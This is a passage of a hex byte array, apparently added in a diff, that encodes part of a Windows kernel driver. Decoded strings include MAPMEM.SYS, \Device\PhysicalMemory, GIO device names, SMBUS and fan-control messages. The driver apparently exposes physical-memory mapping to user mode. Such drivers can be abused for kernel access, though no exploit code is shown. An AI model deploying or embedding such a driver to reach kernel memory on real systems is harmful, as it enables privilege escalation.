0x40, 0x00, + 0xFF, 0x25, 0x3A, 0x11, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x0F, 0x1F, 0x40, 0x00, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x4C, 0x8B, 0xD9, 0x48, 0x2B, 0xD1, 0x0F, 0x82, 0xA2, 0x01, 0x00, 0x00, + 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x58, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, + 0x03, 0x74, 0x16, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x0A, + 0x48, 0x83, 0xC1, 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x41, 0xF8, 0x75, + 0xEF, 0x49, 0x83, 0xE0, 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x8A, 0x04, 0x0A, 0x48, 0xFF, 0xC1, 0x49, 0xFF, + 0xC8, 0x88, 0x41, 0xFF, 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x83, + 0xFA, 0x10, 0x72, 0x70, 0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, + 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, + 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, + 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, + 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, + 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, + 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, + 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, + 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, + 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, + 0xF6, 0xC1, 0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, + 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, + 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, + 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, + 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, + 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, + 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, + 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, + 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, + 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, + 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, + 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, + 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, + 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, + 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, + 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, + 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, + 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, + 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, + 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, + 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, + 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, + 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, + 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, + 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, + 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, + 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, + 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, + 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, + 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, + 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, + 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, + 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, + 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, + 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, + 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, + 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, + 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, + 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, + 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, + 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, + 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, + 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, + 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, + 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, + 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, + 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, + 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, + 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, + 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, + 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, + 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, + 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, + 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, + 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, + 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, + 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, + 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, + 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, + 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, + 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, + 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, + 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, + 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, + 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, + 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, + 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, + 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, + 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, + 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, + 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, + 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, + 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, + 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, + 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, + 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, + 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, + 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, + 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, + 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, + 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, + 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, + 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, + 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, + 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, + 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, + 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, + 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, + 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, + 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, + 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, + 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, + 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 0x77, 0x48, 0x61, + 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, + 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, + 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, + 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, + 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, + 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, + 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, + 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, + 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, + 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, + 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, + 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, + 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, + 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, + 0x78, 